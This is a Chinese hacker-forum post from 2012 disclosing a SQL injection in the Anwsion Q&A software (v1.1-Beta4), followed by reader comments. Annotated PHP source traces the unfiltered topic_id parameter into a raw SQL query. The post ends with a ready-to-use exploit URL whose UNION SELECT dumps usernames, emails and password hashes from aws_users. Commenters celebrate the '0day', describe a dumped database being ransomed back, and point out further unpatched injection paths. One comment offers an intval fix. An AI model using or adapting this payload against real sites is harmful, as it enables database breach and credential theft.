Anwsion(v1.1-Beta4) 注入

2012-10-26 13:49:59 15 3574
\app\home\main.php(85):
        public function explore_action()
        {
                // 省略........... By.Rices -> Forum: T00ls.Net -> Blog: Rices.so
                if ($_GET['category'])
                {
                        if (is_numeric($_GET['category'])) //据说以前这里也可以注射  所以被isnum了..
                        {
                                $category_info = $this->model('system')->get_category_info($_GET['category']);
                        }
                        /*
                                        省略......
                                */
                // 注射开始! By.Rices -> Forum: T00ls.Net -> Blog: Rices.so
                if (TPL::is_output('block/content_question.tpl.htm', 'home/explore'))
                {
                        if (! $_GET['sort_type'])
                        {
                                $_GET['sort_type'] = 'new';
                        }

                        if ($_GET['sort_type'] == 'unresponsive')
                        {
                                $_GET['answer_count'] = '0';
                        }
                        $question_list = $this->model('question')->get_questions_list($_GET['page'], get_setting('contents_per_page'), $_GET['sort_type'], $_GET['topic_id'], $this->user_id, $category_info['id'], $_GET['answer_count'], $_GET['day']);
                        //$_GET['topic_id']直接带入了 fvck.fvck! By.Rices -> Forum: T00ls.Net -> Blog: Rices.so
                        TPL::assign('question_list', $question_list);
                        TPL::assign('question_list_bit', TPL::output('question/ajax/list', false));
         // 省略....
$this->model('question')->get_questions_list \models\question.php(63):
        public function get_questions_list($page = 1, $pre_page = 10, $sort = 'hot', $topic_id = 0, $uid = null, $category_id = null, $answer_count = null, $day = 30)
        {
                $uid = intval($uid);

                $user_id_list = array();

                $user_info_list = array();
                $user_list = array();
                $question_info_list = array();
                $question_list = array();
                $limit = calc_page_limit($page, $pre_page);

                if ($sort == 'hot')
                {
                        $question_info_list = $this->get_hot_question($category_id, $topic_id, $limit, $day);
                                                //继续带入$topic_id  By.Rices -> Forum: T00ls.Net -> Blog: Rices.so
                }
                                //省略...... By.Rices -> Forum: T00ls.Net -> Blog: Rices.so
get_hot_question \models\question.php(216):
        public function get_hot_question($category_id = 0, $topic_id = null, $limit = '0, 10', $day = 30)
        {
                $day = intval($day);

                if (!$day)
                {
                        $add_time = '0';
                }
                else if ($day == 1)
                {
                        $add_time = strtotime('-1 day');
                }
                else
                {
                        $add_time = strtotime('-' . $day . 'day');
                }

                if ($category_id)
                {
                        $question_all = $this->fetch_all('question', "add_time > " . $add_time . " AND focus_count > 0 AND agree_count > 0 AND answer_count > 0 AND category_id IN(" . implode(',', $this->model('system')->get_category_with_child_ids('question', $category_id)) . ')');

                }
                else if ($topic_id)// 开始了
                {
                        $topic_ids = array();

                        if (is_array($topic_id))
                        {
                                $topic_ids = $topic_id;
                        }
                        else
                        {
                                $topic_ids[] = $topic_id;
                        }
                        //无任何过滤 又带入了get_question_ids_by_topics_ids函数 By.Rices -> Forum: T00ls.Net -> Blog: Rices.so
                        if ($question_ids = $this->model('topic')->get_question_ids_by_topics_ids($topic_ids, 10, null, 'question_id DESC'))
                        {
                                $question_all = $this->fetch_all('question', "add_time > " . $add_time . " AND question_id IN(" . implode(',', $question_ids) . ')', 'popular_value DESC', $limit);
                        }
                }
                else
                {
                        $question_all = $this->fetch_all('question', 'add_time > ' . $add_time, 'popular_value DESC', $limit);
                }

                return $question_all;
        }
最终在get_question_ids_by_topics_ids函数入库 \models\topic.php(693):
        function get_question_ids_by_topics_ids($topic_ids, $limit, $where = null, $order = 'update_time DESC')
        {

                if (!is_array($topic_ids))
                {
                        $topic_id_in = $topic_ids;
                }
                else
                {
                        $topic_id_in = implode(',', $topic_ids);
                }
                if ($where)
                {
                        $where = ' AND ' . $where;
                }

                $_order = explode(' ', $order);

                if (!$where AND $_order[0] == 'question_id')
                {
                        $result = $this->query_all("SELECT question_id FROM " . $this->get_table('topic_question') . " WHERE topic_id IN (" . $topic_id_in . ") ORDER BY " . $order, $limit);
// 直接入库执行了, 注射产生~~  By.Rices -> Forum: T00ls.Net -> Blog: Rices.so
                }
                else
                { //省略....
EXP:
http://site/?/home/explore/category?sort_type-hot__answer_count-1__day-1__topic_id-55)%20and%201=2%20union%20select%20concat%28(select%20concat(user_name,0x2D3E,email,0x2D3E,password)%20from%20aws_users%20limit%200,1)%29%23

关于作者

Rices154篇文章2132篇回复

评论15次

要评论?请先  登录  或  注册
  • 15楼
    2012-10-28 00:08

    急了? 高富帅身份被曝光了吧 啊哈哈哈哈哈哈

  • 14楼
    2012-10-27 23:02

    晕,数据库有什么东西这么重要一开口就5K小心有诈哦。

  • 13楼
    2012-10-27 22:08

    一个个的补催牛逼,会死吗

  • 12楼
    2012-10-27 10:06

    吊 哈哈

  • 11楼
    2012-10-27 00:47

    肉丝大牛 必须支持~

  • 10楼
    2012-10-27 00:44

    呵呵,都是大牛、、、

  • 9楼
    2012-10-27 00:12

    他那垃圾站已经被脱裤了 刚才才给我打了5000过来要回的数据 真是有钱人

  • 8楼
    2012-10-26 21:12

    这几天土司好像又火了

  • 7楼
    2012-10-26 21:04

    耶稣的站吧,哈哈

  • 6楼
    2012-10-26 19:11

    肉丝牛又来送洞了

  • 5楼
    2012-10-26 18:17

    等会 我也报个。

  • 4楼
    2012-10-26 16:38

    不错 肉丝大牛威武 下载了一套自己看了下 发现更新了 哈哈不错的官方啊

            function get_question_ids_by_topics_ids($topic_ids, $limit, $where = null, $order = 'update_time DESC')         {                 if (!is_array($topic_ids))                 {                         $topic_id_in = $topic_ids;                 }                 else                 {                         array_walk_recursive($topic_ids, 'intval_string'); //这里                                                  $topic_id_in = implode(',', $topic_ids);                 }
    但是我想说的是官方 请补详细点好么···
    if ($sort == 'hot') //肉丝的情况是 sort=hot 如果我等于fvck 呢?                 {                         $question_info_list = $this->get_hot_question($category_id, $topic_id, $limit, $day);                  }
                    else                 {                         if ($sort == 'unresponsive')                         {                                 $answer_count = 0;                         }                                                  switch ($sort)                         {                                 default :                                         $order_key = 'add_time';                                         break;                                                                  case 'new' :                                         $order_key = 'update_time';                                         break;                         }                                                  if ($topic_id) //如果topic_id存在 继续射                         {                                   $question_info_list = $this->get_question_list_by_topic_ids($topic_id, $limit, $order_key, $category_id, $answer_count);                         }
    get_question_list_by_topic_ids 这个函数··
    if (!$topic_ids)                 {                         return false;                 }                                  if (is_array($topic_ids))                 {                         array_walk_recursive($topic_ids, 'intval_string');                 }                 else                 {                         $topic_ids = array($topic_ids);                 }                                  if ($topic_question = $this->query_all("SELECT DISTINCT question_id FROM " . $this->get_table('topic_question') . " WHERE topic_id IN (" . implode(',', $topic_ids) . ") ORDER BY question_id DESC")) // 又射了~~~                 {                         foreach ($topic_question AS $key => $val)                         {                                 $question_ids[] = $val['question_id'];                         }                 }
    要怎么补 ?

  • 3楼
    2012-10-26 16:31

    挖洞的好孩子

  • 2楼
    2012-10-26 15:37

    支持下 Rices大牛 爆0day

  • 1楼
    2012-10-26 13:52

    补个临时修复办法 在\app\home\main.php文件 explore_action函数下添加

    $_GET['topic_id'] = intval($_GET['topic_id']);